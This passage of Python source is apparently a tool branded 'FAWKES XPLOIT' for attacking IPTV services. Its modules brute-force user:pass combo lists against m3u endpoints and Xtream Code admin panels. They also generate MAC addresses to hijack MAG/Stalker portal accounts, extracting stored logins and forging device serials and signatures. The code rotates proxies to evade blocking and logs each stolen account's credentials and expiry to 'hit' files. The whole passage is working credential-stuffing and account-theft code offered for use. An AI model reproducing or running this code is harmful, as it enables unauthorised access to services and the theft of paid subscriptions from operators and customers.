seconds_ = (seconds - (days * seconds_in_day) - (hours * seconds_in_hour) - (minutes * seconds_in_minute))
return f'{Glb.RST}{days}(days) {Glb.VC}{hours}{Glb.RST}h:{Glb.VC}{minutes}{Glb.RST}m:{Glb.VC}{seconds_}{Glb.RST}s'
def fireUp_Display(self, func):
self.update_Glb_CPM_EnlapseTime()
my_size = shutil.get_terminal_size()
flag = time.time() - Glb.dispTime
if my_size != (62, 47) or Glb.SystemName == 'Darwin' or flag > 35:
Glb.dispTime = time.time()
Display().ak_UI('relax')
else:
func()
def logger(self, data): # <========================== in use for Iphone
Glb.lock.acquire()
try:
case = data[0]
dataR = data[1]
infoStr = str()
for key, val in dataR.items():
if case == 'Good':
if key == 'ProxyUsed':
pass
elif key == '\xf0\x9f\x93\x81 Categories':
cate_str = str()
i = 1
j = 1
for item in val:
if i == j + 4:
cate_str += '\n ' + item + ' - '
j = i
else:
cate_str += item + ' - '
i += 1
infoStr += f'{key}: {cate_str}\n'
else:
infoStr += f'{key}: {val}\n'
else:
infoStr += f'{key}: {val} '
if case == 'Good':
Glb.Hits += 1
infoStr = f'◤━━ FAWKES👺XPLOIT ━━◥\n' + infoStr
fileName = dataR['\xf0\x9f\x8c\x8e Server'].split('://')[1].split(':')[0].split('/')[0]
path = os.path.join(Glb.myPath, 'FAWKES👺XPLOIT')
FileWork().file_write(path, infoStr, f'FAWKES👺XPLOIT@{fileName}🤴.txt', 'a+')
self.play_song()
elif case == 'Bad':
Glb.Bads += 1
elif case == 'Error':
Glb.Errors += 1
elif case == 'StatusCode':
Glb.Errors += 1
Display().ak_UI('relax')
print(infoStr)
time.sleep(1)
except ValueError as er:
del er
except Exception as e:
print('Log exception : ' + str(e))
del e
if Glb.lock.locked():
Glb.lock.release()
def play_song(self):
if Glb.play_sound:
if 'ANDROID_STORAGE' in Glb.my_environ: # PYCHARM_HOSTED, ANDROID
path = None
for r in os.scandir(Glb.soundPath):
path = Glb.soundPath + '/' + r.name # Calm/Calm.ogg'
break
# path = '/storage/emulated/0/Android/media/com.google.android.gm/Notifications/Calm/Calm.ogg' # <==
try:
"""import kivy.core.audio as audio"""
raise ModuleNotFoundError
except ModuleNotFoundError:
try:
import androidhelper as audio
music = audio.Android()
music.mediaPlay(path)
time.sleep(1)
music.mediaPayClose()
except Exception as audio_1e:
del audio_1e
except Exception as audio_2e:
del audio_2e
else:
sys.stdout.write('\007')
class FileWork:
"""This Class is just to wrap all file methods"""
def file_length(self, filepath):
return len(open(filepath, 'r', errors='ignore').read().split('\n'))
def file_write(self, filepath, data, filename, mode):
Glb.lock.acquire()
try:
fwrite = open(os.path.join(filepath, filename), encoding="utf-8", mode=mode)
fwrite.write(f'{data}\n')
fwrite.close()
except OSError as e:
Display().error_msg('file_Write exception : ' + str(e))
del e
finally:
if Glb.lock.locked():
Glb.lock.release()
class Proxies:
"""This Class is just to wrap proxy poll method"""
def get_proxy(self, proxy_type):
try:
proxy = next(Glb.proxy_pool)
if proxy.count('.') == 3 and proxy.count(':') == 1:
if proxy_type == 'http':
return proxy, {'http': proxy, 'https': proxy}
elif proxy_type == 'socks4' or proxy_type == 'socks5':
return proxy, {'http': f'{proxy_type}://' + proxy, 'https': f'{proxy_type}://' + proxy}
elif proxy.count(':') == 3:
server, port, user, pwd = proxy.split(':')
return proxy, {'http': f'{proxy_type}://{user}:{pwd}@{server}:{port}', 'https': f'{proxy_type}://{user}:{pwd}@{server}:{port}'}
else:
return proxy, {'http': proxy, 'https': proxy}
except StopIteration as stop_e:
Display().error_msg(f'{Glb.V}some of your proxies do not meet the criteria selection :{Glb.RST}{stop_e}')
Glb.running = False
input('Please press ENTER to continue')
StartApp().re_startApp()
except Exception as e:
del e
self.get_proxy(proxy_type)
class Parse:
"""This Class is just to wrap the parse method"""
def parse_btw_str(self, data, first, last) -> str:
try:
start = data.index(first) + len(first)
end = data.index(last, start)
return data[start:end]
except ValueError:
return ''
def parse_btw_rec(self, data, first, last):
parse_values = []
try:
my_index = 0
end_r = data.rindex(last)
while my_index <= end_r:
start_ = data.index(first, my_index) + len(first)
end_ = data.index(last, start_)
parse_values.append(data[start_:end_])
my_index = end_ + len(last)
except ValueError:
pass
return parse_values
def parse_json_rec(self, obj_json, key):
"""Recursively search for values of key in JSON tree."""
data = []
def json_rec(obj_json, key, parse):
if isinstance(obj_json, dict):
for k, v in obj_json.items():
if isinstance(v, (dict, list)):
json_rec(v, key, data)
elif k == key:
parse.append(v)
elif isinstance(obj_json, list):
for item in obj_json:
json_rec(item, key, data)
else:
return ''
return data
return json_rec(obj_json, key, data)
def parse_json_str(self, obj_json, key):
"""search for values of key in JSON tree."""
if isinstance(obj_json, dict):
for k, v in obj_json.items():
if isinstance(v, (dict, list)):
self.parse_json_str(v, key)
elif k == key:
return v
elif isinstance(obj_json, list):
for item in obj_json:
self.parse_json_str(item, key)
else:
return ''
def parse_regex(self):
pass
class Modules:
"""This Class contain all brute-force methods"""
def __init__(self): # macCombo, user, pwd):
"""This section could be edit if you want to add more modules/script/method according to your needs"""
import requests as http
Requirements().selfcheck()
self.requests = http
self.myHeaders = {'Connection': "keep-alive", 'Accept': "*/*; charset=utf-8", 'Accept-Encoding': "gzip, deflate"}
self.hand_shake = 'stb&action=handshake&token=&prehash=0&JsHttpRequest=1-xml'
self.geners = 'itv&action=get_genres&JsHttpRequest=1-xml'
self.info = 'account_info&action=get_main_info&JsHttpRequest=1-xml'
self.xc_prof = '/portal.php?type=stb&action=get_profile&hd=1&JsHttpRequest=1-xml'
self.xc_cmd = '/portal.php?type=itv&action=create_link&cmd=&force_ch_link_check=0&jsHttpRequest=1'
self.stkl_prof = '/server/load.php?type=stb&action=get_profile&hd=1&ver=ImageDescription: 0.2.18-r14-pub-250; ImageDate: Fri Jan 15 15:20:44 EET 2016; PORTAL version: 5.6.0; API Version: JS API version: 328; STB API version: 134; Player Engine version: 0x566&num_banks=2&sn=&stb_type=MAG250&client_type=STB&image_version=218&video_out=hdmi&device_id=&device_id2=&signature=&auth_second_step=1&hw_version=1.7-BD-00¬_valid_token=0&metrics=my_metrics&hw_version_2=8fd633f002172e8bdf1ea662a3390271d7a1bc99×tamp=my_time&api_signature=262&prehash=0&JsHttpRequest=1-xml'
self.stlk_epg = '/server/load.php?type=epg&action=get_data_table&from_ts=1632544200000&from=2021-09-25%2000:30:00&to_ts=1632549600000&to=2021-09-25%2002:00:00&fav=0&ch_id=502&p=1&JsHttpRequest=1-xml'
self.urlApi = 'my_server/player_api.php?username=my_user&password=my_pwd'
self.urlM3u = 'my_server/get.php?username=my_user&password=my_pwd&type=m3u_plus'
self.panelDash = '/api.php?action=reseller_dashboard'
def netflix(self, data):
# replace the code between these lines with your netflix script or contact Braun_Tr for a working one :)
result = tuple()
try:
# =================================================
test = Glb.useProxy
Glb.running = False
result = 'Error', 'This module has no been implement yet'
Display().error_msg(result[1])
time.sleep(4)
# =================================================
except Exception as ne:
del ne
finally:
if Glb.result_logger is None:
Glb.results.put(result)
else:
Glb.result_logger(result)
return
def iptv_user_pass(self, data, customServers=None):
"""This is the method or script is for Brute Force IPTV m3u link"""
result = tuple()
User, Pass = data['_data'].split(':')
serverList = Glb.serverList
if customServers is not None:
serverList = [f'{urlparse(customServers).scheme}://{urlparse(customServers).netloc}']
for server in serverList:
session = self.requests.session()
while True:
allInfo = dict()
if Glb.useProxy == 'yes':
myProxy = Proxies().get_proxy(Glb.proxy_type)
session.proxies.update(myProxy[1])
allInfo.update({'ProxyUsed': myProxy[0]})
try:
header = self.myHeaders
header.update({'User-Agent': f"{Glb.userAgent}"})
myUrl = self.urlM3u.replace('my_server', server).replace('my_user', User).replace('my_pwd', Pass)
http_req = session.get(myUrl, headers=self.myHeaders, allow_redirects=True, timeout=Glb.waitTime)
reqGet = http_req.text
url_server = http_req.url
if 'EXTINF' in reqGet:
parsed_url = urlparse(url_server)
real_server = '{uri.scheme}://{uri.netloc}'.format(uri=parsed_url)
urlInfo = self.urlApi.replace('my_server', real_server).replace('my_user', User).replace('my_pwd', Pass)
allInfo.update({'🌎 Host': real_server, '👤 Username': User, '🔑 Password': Pass})
try:
getInfo = session.get(urlInfo, headers=self.myHeaders)
data = getInfo.json()['user_info']
exp_parse = data['exp_date']
if exp_parse is None:
exp_date = '💫UNLIMITED💫'
elif re.search('^([0-9]{10,15})$', exp_parse):
exp_date = str(datetime.fromtimestamp(int(exp_parse)).strftime('%b %d, %Y '))
else:
exp_date = str(exp_parse)
max_conx = data['max_connections']
if max_conx is None:
max_conx = 'Unknow/Unlimited ='
allInfo.update({'♻️ Status': data['status'], '📆 Expire Date': exp_date, '💁♂️ Active Connection': data['active_cons'], '👨👩👦👦 Maximum Connection': max_conx})
except Exception as e:
del e
cate_list = sorted(set(Parse().parse_btw_rec(reqGet, 'group-title="', '"')))
url_get = f'{server}/client_area/'
payload = {'username': f'{User}', 'password': f'{Pass}'}
try:
http_req_get = session.get(url_get, headers=self.myHeaders, allow_redirects=True, timeout=Glb.waitTime)
url_end = Parse().parse_btw_str(http_req_get.text, 'action="', '">')
url_post = f'{url_get}{url_end}'
header.update({'Referer': f"{url_get}"})
http_req_post = session.post(url_post, data=payload, headers=self.myHeaders, allow_redirects=True, timeout=Glb.waitTime)
req_post = http_req_post.text
if "logout" in req_post:
all_cat = Parse().parse_btw_str(req_post, "visible-links'>", "'hidden-links")
cate_list2 = sorted(set(Parse().parse_btw_rec(all_cat, '">', '</a>')))
try:
cate_list2.remove("All")
except:
pass
if len(cate_list) > len(cate_list2) > 0:
cate_list = cate_list2
except:
pass
fileName = server.split('://')[1].split(':')[0].split('/')[0]
my_date = datetime.now().strftime('%d.%b.%Y %H:%M %p')
allInfo.update({'👺 Tg': "https://t...content-available-to-author-only...l.com/FawkesIPTV", '📆 Scan Date': my_date, '🔗 M3u Link': url_server, '⚙️ Module': "User/Pass Hits System", '📺 Channels': ' ◦⊰👺⊱◦ '.join(cate_list), 'FileName': fileName})
result = ('Good', allInfo)
break
else:
try:
http_req.cookies.clear()
urlInfo = self.urlApi.replace('my_server', server).replace('my_user', User).replace('my_pwd', Pass)
http_reqApi = session.get(urlInfo, headers=self.myHeaders, allow_redirects=True, timeout=Glb.waitTime)
if '"auth":1' in http_reqApi.text:
data = http_reqApi.json()['user_info']
exp_parse = data['exp_date']
if exp_parse is None:
exp_date = '💫UNLIMITED💫'
elif re.search('^([0-9]{10,15})$', exp_parse):
exp_date = str(datetime.fromtimestamp(int(exp_parse)).strftime('%b %d, %Y '))
else:
exp_date = str(exp_parse)
max_conx = data['max_connections']
if max_conx is None:
max_conx = 'Unknow/Unlimited \xf0\x9f\x98\xb2'
allInfo.update({'\xf0\x9f\x9a\xa6 Status': data['status'], '\xe2\x8f\xb1 Exp_date': exp_date, '\xf0\x9f\x94\x8c Active_cons': data['active_cons'], '\xf0\x9f\x9a\x8c Max_cons': max_conx})
fileName = server.split('://')[1].split(':')[0].split('/')[0]
my_date = datetime.now().strftime('%b %d, %Y %I:%M %p')
allInfo.update({'\xf0\x9f\x93\x86 Scan_date': my_date, '= List m3u': url_server, '=Module': "User/Pass Hits System", '= Categories': '', 'FileName': fileName})
result = ('Good', allInfo)
break
else:
allInfo.update({'Server': server, 'User': User, 'Pass': Pass})
result = ('Bad', allInfo)
break
except Exception as e:
del e
except Exception as e:
try:
allInfo.update({'Server': server, 'User': User, 'Pass': Pass, 'Error': str(e)})
result = ('Error', allInfo)
except Exception as e:
del e
finally:
if Glb.result_logger is None:
Glb.results.put(result)
else:
Glb.result_logger(result)
session.close()
return
def xc_panels(self, data):
"""This is the method or script is for Xtream Code Admin panels """
result = tuple()
User, Pass = data['_data'].split(':')
for server in Glb.serverList:
session = self.requests.session()
while True:
allInfo = dict()
if Glb.useProxy == 'yes':
myProxy = Proxies().get_proxy(Glb.proxy_type)
session.proxies.update(myProxy[1])
allInfo.update({'ProxyUsed': myProxy[0]})
try:
content = {'referrer': '', 'username': f'{User}', 'password': f'{Pass}'}
header = self.myHeaders
header.update({'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36"})
session.headers.update(header)
redirect = session.get(server)
header.update({'Referer': f"{redirect.url}"})
reqPanel_post = session.post(redirect.url, data=content, allow_redirects=True)
if 'Logged In' or 'Logout' in reqPanel_post.text:
url_p = reqPanel_post.url
parsed_url = urlparse(url_p)
url_panel = '{uri.scheme}://{uri.netloc}'.format(uri=parsed_url)
_data = {'credits': '0', 'active_accounts': '0'}
req_dasboard = session.get(url_panel + self.panelDash)
try:
_data = req_dasboard.json()['user_info']
except:
_data = req_dasboard.json()
fileName = server.split('://')[1].split(':')[0].split('/')[0]
my_date = datetime.now().strftime('%b %d, %Y %I:%M %p')
allInfo.update({'\xf0\x9f\x8c\x8e Server': server, '\xf0\x9f\x91\xa4 User': User, '\xf0\x9f\x94\x91 Pass': Pass, '\xf0\x9f\x92\xb0 Credits': _data['credits'], '\xf0\x9f\x91\xa5 Active_acc': _data['active_accounts']})
allInfo.update({'\xf0\x9f\x93\x86 Scan_date': my_date, '\xe2\x9a\x99\xef\xb8\x8fModule': "Xtream Code Panel System", 'FileName': fileName})
result = ('Good', allInfo)
break
else:
allInfo.update({'Server': server, 'User': User, 'Pass': Pass})
result = ('Bad', allInfo)
break
except Exception as e:
allInfo.update({'Server': server, 'User': User, 'Pass': Pass, 'Error': str(e)})
result = ('Error', allInfo)
del e
finally:
if Glb.result_logger is None:
Glb.results.put(result)
else:
Glb.result_logger(result)
session.close()
return
def auto_method(self, data):
for serv in Glb.serverList:
if 'stalker_portal' in serv:
self.stlk_mac(data, serv)
else:
self.xc_mac(data, serv)
def xc_mac(self, data, server):
"""This is the method or script is for Xtream Code servers """
result = tuple()
mac = data['_data']
session = self.requests.session()
while True:
allInfo = dict()
if Glb.useProxy == 'yes':
myProxy = Proxies().get_proxy(Glb.proxy_type)
session.proxies.update(myProxy[1])
allInfo.update({'ProxyUsed': myProxy[0]})
try:
header = self.myHeaders
header.update({'Referer': server + '/c/', 'User-Agent': "Mozilla/5.0 (QtEmbedded; U; Linux; C) AppleWebKit/533.3 (KHTML, like Gecko) MAG200 stbapp ver: 2 rev: 250 Safari/533.3", 'X-User-Agent': "Model: MAG250; Link: WiFi"})
udid = secrets.token_hex(16)
cookies = {'mac': mac, 'stb_lang': "en", 'timezone': "America%2FNew_York", 'adid': udid}
url = f'{server}/portal.php?type={self.hand_shake}'
GetHand = session.get(url, headers=header, cookies=cookies, timeout=Glb.waitTime, allow_redirects=True)
url_server = GetHand.url
parsed_url = urlparse(url_server)
real_server = '{uri.scheme}://{uri.netloc}'.format(uri=parsed_url)
header.update({'Referer': real_server + '/c/'})
allInfo.update({'\xf0\x9f\x8c\x8e Server': real_server, '\xf0\x9f\x93\xbd Mac': mac})
if GetHand.status_code == 200:
token = Parse().parse_btw_str(GetHand.text, 'token":"', '"')
header.update({'Authorization': 'Bearer ' + token})
GetCheck = session.get(real_server + self.xc_prof, headers=header, cookies=cookies)
check = GetCheck.text
if '\"status\":0' in check: # Good Account
proxiesNone = {"http": '', "https": ''}
session.proxies.update(proxiesNone)
GetData = session.get(real_server + self.xc_cmd, headers=header, cookies=cookies)
getCmd = GetData.json()['js']['cmd']
info = getCmd.split('/')
user = info[3]
pwd = info[4]
List_m3u = self.urlM3u.replace('my_server', real_server).replace('my_user', user).replace('my_pwd', pwd)
myApi = self.urlApi.replace('my_server', real_server).replace('my_user', user).replace('my_pwd', pwd)
allInfo.update({'\xf0\x9f\x91\xa5 User': user, '\xf0\x9f\x94\x91 Pass': pwd})
try:
GetDate = session.get(myApi, headers=self.myHeaders) # , proxies=proxies)
GetData = GetDate.json()['user_info']
status = GetData['status']
exp_parse = Parse().parse_btw_str(GetDate.text, 'exp_date":"', '"')
if re.search('([0-9]{10,15})', exp_parse):
exp_date = str(datetime.fromtimestamp(int(exp_parse)).strftime('%b %d, %Y '))
else:
exp_date = str(exp_parse)
max_conx = GetData['max_connections']
connected = GetData['active_cons']
if max_conx is None:
max_conx = 'Unknow/Unlimited \xf0\x9f\x98\xb2'
allInfo.update({'\xf0\x9f\x9a\xa6 Status': status, '\xe2\x8f\xb1 Exp_date': exp_date, '\xf0\x9f\x94\x8c Connected': connected, '\xf0\x9f\x9a\x8c Max_conn': max_conx})
except Exception as e_api:
try:
url_info = f'{real_server}/portal.php?type={self.info}'
Getinfo = session.get(url_info, headers=header, cookies=cookies)
getDate = Getinfo.json()['js']['phone']
if getDate is None:
exp_date = '💫UNLIMITED💫'
elif re.search('([0-9]{10,15})', getDate):
exp_date = str(datetime.fromtimestamp(int(getDate)).strftime('%b %d, %Y %X %p'))
else:
exp_date = str(getDate)
allInfo.update({'\xe2\x8f\xb1 Exp_date': exp_date})
except Exception as e_api:
del e_api
my_date = datetime.now().strftime('%b %d, %Y %I:%M %p')
fileName = server.split('://')[1].split(':')[0].split('/')[0]
allInfo.update({'\xf0\x9f\x93\x86 Scan_date': my_date, '\xf0\x9f\x8e\xac\xf0\x9f\x94\x97 List m3u': List_m3u, 'FileName': fileName})
allInfo.update({'\xe2\x9a\x99\xef\xb8\x8fModule': "Xtream Code Hits System"})
try:
url_gen = f'{real_server}/portal.php?type={self.geners}'
categories = session.get(url_gen, headers=header, cookies=cookies)
categories_json = categories.json()
categories_list = Parse().parse_json_rec(categories_json, 'title')
allInfo.update({'\xf0\x9f\x93\x81 Categories': categories_list})
except Exception as e_cat:
del e_cat
result = ('Good', allInfo)
break
elif '\"status\":1' in check:
result = ('Bad', allInfo)
break
else: # Error
result = ('Error', allInfo)
else: # Some Status_Code Errors
code = GetHand.status_code # code (403) proxy not allow in the server, (502) proxy banned
allInfo.update({'Code': str(code)})
result = ('StatusCode', allInfo)
except Exception as e: # most like server blocked, (Caused by NewConnectionError, Caused by ConnectTimeoutError)
try:
error = Parse().parse_btw_str(str(e), '>:', '))')
allInfo.update({'Error': error})
result = ('Error', allInfo)
except Exception as e:
del e
finally:
if Glb.result_logger is None:
Glb.results.put(result)
else:
Glb.result_logger(result)
session.close()
return
def stlk_mac(self, data, server):
"""This is the method or script is for Stalkers servers """
result = tuple()
mac = data['_data']
session = self.requests.session()
while True:
allInfo = dict()
if Glb.useProxy == 'yes':
myProxy = Proxies().get_proxy(Glb.proxy_type)
session.proxies.update(myProxy[1])
allInfo.update({'ProxyUsed': myProxy[0]})
try:
header = self.myHeaders
header.update({'Referer': server + '/c/', 'User-Agent': "Mozilla/5.0 (QtEmbedded; U; Linux; C) AppleWebKit/533.3 (KHTML, like Gecko) MAG200 stbapp ver: 2 rev: 250 Safari/533.3", 'X-User-Agent': "Model: MAG250; Link: WiFi"})
udid = secrets.token_hex(16)
cookies = {'mac': mac, 'stb_lang': "en", 'timezone': "America%2FNew_York", 'adid': udid}
url = f'{server}/server/load.php?type={self.hand_shake}'
GetHand = session.get(url, headers=header, cookies=cookies, timeout=Glb.waitTime, allow_redirects=True)
url_server = GetHand.url
parsed_url = urlparse(url_server)
real_server = '{uri.scheme}://{uri.netloc}'.format(uri=parsed_url)
header.update({'Referer': real_server + '/c/'})
allInfo.update({'\xf0\x9f\x8c\x8e Server': real_server, '\xf0\x9f\x93\xbd Mac': mac})
if GetHand.status_code == 200:
token = Parse().parse_btw_str(GetHand.text, 'token":"', '"')
random = Parse().parse_btw_str(GetHand.text, 'random":"', '"')
header.update({'Authorization': 'Bearer ' + token})
getstkl_prof = self.stkl_prof
metrics = '{"mac":"my_mac","model":"","type":"STB","uid":"","random":"my_rnd"}'.replace('my_mac', mac).replace('my_rnd', random)
my_metrics = urllib.parse.quote_plus(metrics, safe='', encoding=None, errors=None)
for r in ("my_time", str(int(time.time()))), ("my_metrics", metrics): # ("my_metrics", my_metrics):
getstkl_prof = getstkl_prof.replace(*r)
GetCheck = session.get(server + getstkl_prof, headers=header, cookies=cookies)
if '\"last_watchdog\":\"' in GetCheck.text: # Good Account
GetCheckData = GetCheck.json()
last = GetCheckData['last_watchdog']
if last != '0000-00-00 00:00:00':
user = GetCheckData['login']
pwd = GetCheckData['password']
allInfo.update({'\xf0\x9f\x91\xa5 User': user, '\xf0\x9f\x94\x91 Pass': pwd})
try:
getDate = GetCheckData['expire_billing_date']
if getDate is None:
exp_date = '💫UNLIMITED💫'
elif re.search('([0-9]{10,15})', getDate):
exp_date = str(datetime.fromtimestamp(int(getDate)).strftime('%b %d, %Y '))
else:
exp_date = str(getDate)
allInfo.update({'\xe2\x8f\xb1 Exp_date': exp_date})
except Exception as e:
del e
serial = hashlib.md5(mac.encode('utf-8')).hexdigest().upper()
device_ID = hashlib.sha256(mac.encode('utf-8')).hexdigest().upper()
serial_cut = serial[:13]
sig_code = serial_cut + '+' + mac
sig = hashlib.sha256(sig_code.encode('utf-8')).hexdigest().upper()
my_date = datetime.now().strftime('%b %d, %Y %I:%M %p')
allInfo.update({'Serial': serial, 'SerialCut': serial_cut, 'DeviceID': device_ID, 'Signature': sig, 'Scan_date': my_date, '\xe2\x9a\x99\xef\xb8\x8fModule': "Stalker Hits System"})
result = ('Good', allInfo)
break
else:
result = ('Bad', allInfo)
break
else: # Bad Account
result = ('Bad', allInfo)
break
else: # Some Status_Code Errors
code = GetHand.status_code # code (403) proxy not allow in the server, (502) proxy banned
allInfo.update({'Code': str(code)})
result = ('StatusCode', allInfo)
except Exception as e: # most like server blocked, (Caused by NewConnectionError, Caused by ConnectTimeoutError)
try:
error = Parse().parse_btw_str(str(e), '>:', '))')
allInfo.update({'Error': error})
result = ('Error', allInfo)
except Exception as e:
del e
finally:
if Glb.result_logger is None:
Glb.results.put(result)
else:
Glb.result_logger(result)
session.close()
return
def channel_bf(self, data):
"""This is the method or script is for Brute Force m3u channel link"""
result = tuple()
combo = list(data.values())
varCombo = list(filter(None, str(combo[0]).split(':')))
for link in Glb.serverList:
varsToreplace = Parse().parse_btw_rec(link, '<', '>')
data_var = cycle(varCombo)
server = link
for var in varsToreplace:
my_var = str()
try:
my_var = next(data_var)
except StopIteration as e:
pass
server = server.replace(f'<{var}>', my_var)
session = self.requests.session()
while True:
allInfo = dict()
if Glb.useProxy == 'yes':
myProxy = Proxies().get_proxy(Glb.proxy_type)
session.proxies.update(myProxy[1])
allInfo.update({'ProxyUsed': myProxy[0]})
try:
allInfo.update({'\xf0\x9f\x8c\x8e Server': server})
header = self.myHeaders
header.update({ 'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"})
http_req = session.get(server, headers=header, allow_redirects=True)
reqGet = http_req.text
url_server = http_req.url
if http_req.status_code == 200 and '#EXTM3U' in reqGet: # <===== Good Account (#EXTM3U, #EXTINF)
my_date = datetime.now().strftime('%b %d, %Y %I:%M %p')
fileName = server.split('://')[1].split(':')[0].split('/')[0]
allInfo.update({'FileName': fileName, '\xf0\x9f\x94\x97 m3u_Link': url_server, '\xf0\x9f\x93\x86 Scan_date': my_date, '\xe2\x9a\x99\xef\xb8\x8fModule': "Channel Brute Force"})
result = ('Good', allInfo)
break
elif http_req.status_code == 200 and reqGet != '#EXTM3U': # <===== Bad Account
allInfo.update({'Server': server})
result = ('Bad', allInfo)
break
else:
allInfo.update({'Code': str(http_req.status_code)})
result = ('StatusCode', allInfo)
except Exception as e:
try:
error = e.args[0]
allInfo.update({'Server': server, 'Error': error})
result = ('Error', allInfo)
if 'Exceeded 30 redirects.' in error: # TooManyRedirects
result = ('Bad', allInfo)
break
except Exception as e:
del e
finally:
if Glb.result_logger is None:
Glb.results.put(result)
else:
Glb.result_logger(result)
session.close()
return
class Thread:
"""This Class contain all initial methods on preparation for the parallel system"""
def __init__(self, **kwarg):
self.threads = Glb.threadMain
self.credentials = kwarg['wrl']
self.servers = kwarg['servlist']
self.my_iter = None
self.load_combo()
self.load_servers()
self.load_proxies()
Requirements().selfcheck()
if Glb.servers_length > 0:
Glb.totalToCheck = Glb.servers_length * Glb.combo_length
else:
Glb.totalToCheck = Glb.combo_length
def load_combo(self):
try:
with open(Glb.combo_path, 'r', errors='ignore') as file:
for i in range(Glb.start_combo):
_ = next(file, 1)
for i in range(10000):
line = next(file).replace('\n', '')
if (Glb.scan_mode == '2' or Glb.scan_mode == 'panel') and line.count(':') == 1:
self.credentials.append({'_data': line})
self.my_iter = self.credentials
elif Glb.scan_mode == '3' and line.count(':') == 5:
self.credentials.append({'_data': line})
self.my_iter = self.credentials
elif Glb.scan_mode == '5':
self.credentials.append({'_data': line})
self.my_iter = self.credentials
elif Glb.scan_mode == '6' and line.count(':') == 1:
self.credentials.append({'_data': line})
self.my_iter = self.credentials
except StopIteration as stop_e:
Glb.combo_length = Glb.start_combo + len(self.credentials) # for reload 10000 credentials
del stop_e
except OSError as e:
del e
flag = len(Glb.comboList)
if flag > 0:
self.credentials = Glb.comboList
Glb.combo_length = flag
self.my_iter = self.credentials
elif Glb.mac_auth is True:
Glb.combo_length = 16 ** Glb.mac_fill
end_range = Glb.start_combo + min(10000, ((16 ** Glb.mac_fill) - Glb.start_combo))
if Glb.mac_rnd:
if Glb.combo_length > 1048576: # 16**5
my_iter = [random.randrange(0, Glb.combo_length) for i in range(Glb.start_combo, end_range)]
else:
if Glb.start_combo == 0:
Glb.list_rnd_mac = list(range(Glb.combo_length))
random.shuffle(Glb.list_rnd_mac)
my_iter = islice(Glb.list_rnd_mac, Glb.start_combo, end_range)
else:
my_iter = range(Glb.start_combo, end_range) # <-- final range for interator
self.my_iter = [self.mac_generator(item) for item in my_iter]
elif Glb.scan_mode == '5':
end_range = Glb.start_combo + min(10000, (max(Glb.channel_inter) + 1 - Glb.start_combo))
start_range = Glb.start_combo + min(Glb.channel_inter)
my_iter = range(start_range, end_range)
[self.credentials.append({'_data': item}) for item in my_iter]
self.my_iter = self.credentials
else:
Glb.running = False
Display().error_msg(f'{Glb.A}Please make sure your combo file exist {Glb.RST} and start again')
input('Please press ENTER to continue')
return StartApp().re_startApp()
def load_servers(self):
if Glb.scan_mode != '6':
try:
with open(Glb.servers_path, errors='ignore') as (f):
linesS = f.read().split('\n')
for server in linesS:
if server.count('://') == 1:
Glb.serverList.append(server)
Glb.serverList = list(set(Glb.serverList))
Glb.servers_length = len(Glb.serverList)
except OSError as e:
del e
finally:
if len(Glb.serverList) == 0:
Display().error_msg('Something happened with your server file, Please start again')
input('Please press ENTER to continue')
return StartApp().re_startApp()
def load_proxies(self):
try:
if Glb.useProxy == 'yes':
if Glb.useFreeProxies == 'yes':
import requests
proxyType = Glb.proxy_type
urlapi = f'https://a...content-available-to-author-only...e.com/?request=getproxies&proxytype={proxyType}&timeout=10000&country=all&ssl=all&anonymity=all'
myHeaders = {'Connection': "keep-alive", 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36', 'Accept': "*/*"}
try:
response = requests.get(urlapi, headers=myHeaders, timeout=Glb.waitTime, allow_redirects=True)
data = response.text
proxies = data.split('\r\n')
for proxy in proxies:
if re.search(r"([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:[0-9]+)", proxy):
Glb.proxyList.append(proxy)
Glb.proxy_length = len(Glb.proxyList)
Glb.proxy_pool = cycle(Glb.proxyList)
except Exception as pe:
Display().error_msg('Something happened, no free proxies available\nPlease start again and use your own proxy file')
print(pe)
input('Please press ENTER to continue')
return StartApp().re_startApp()
else:
with open(Glb.proxy_path, 'r', errors='ignore') as (f):
linesP = f.read().split('\n')
for proxy in linesP:
if proxy.count('.') == 3:
Glb.proxyList.append(proxy)
elif proxy.count(':') == 3:
Glb.proxyList.append(proxy)
Glb.proxy_length = len(Glb.proxyList)
Glb.proxy_pool = cycle(Glb.proxyList)
except OSError as e:
Display().error_msg(str(e) + '\nSomething happened with your proxy file, Please start again')
del e
input('Please press ENTER to continue')
return StartApp().re_startApp()
def mac_generator(self, enumerator):
hex_num = hex(enumerator)[2:].zfill(Glb.mac_fill)
fmac = (Glb.mac_pattern + hex_num).upper()
macCombo = "{}{}:{}{}:{}{}:{}{}:{}{}:{}{}".format(*fmac)
return {'_data': macCombo}
def display(self, loggerfunc):
if len(Glb.dsp_update_thd) < 1:
Display().start_time()
dsp_update = threading.Thread(target=loggerfunc, daemon=True)
dsp_update.start()
Glb.dsp_update_thd.append(dsp_update)
def threads_poll(self, my_func):
if Glb.host == 'TERMUX':
live_threads = []
def thread_creator():
threads = [threading.Thread(target=my_func, kwargs={'data': _}, daemon=True) for _ in self.my_iter]
thread_index = 0
while len(threads) - 1 >= thread_index:
death_thread = []
if len(live_threads) < self.threads:
for x in range(min(self.threads - len(live_threads), len(threads))):
threads[thread_index].start()
live_threads.append(threads[thread_index])
Glb.start_combo += 1
thread_index += 1
for thread_death in live_threads:
if thread_death.is_alive():
pass
else:
death_thread.append(thread_death)
for _ in death_thread:
live_threads.remove(_)
time.sleep(.1)
if Glb.start_combo < Glb.combo_length:
thread_creator()
else:
for thrd in live_threads:
thrd.join()
if Glb.start_combo < Glb.combo_length and Glb.running is True:
thread_creator()
else:
pool = Pool(self.threads)
for bot in pool.imap_unordered(func=my_func, iterable=self.my_iter):
Glb.start_combo += 1
if Glb.running is False:
break
if Glb.start_combo < Glb.combo_length and Glb.running is True:
self.credentia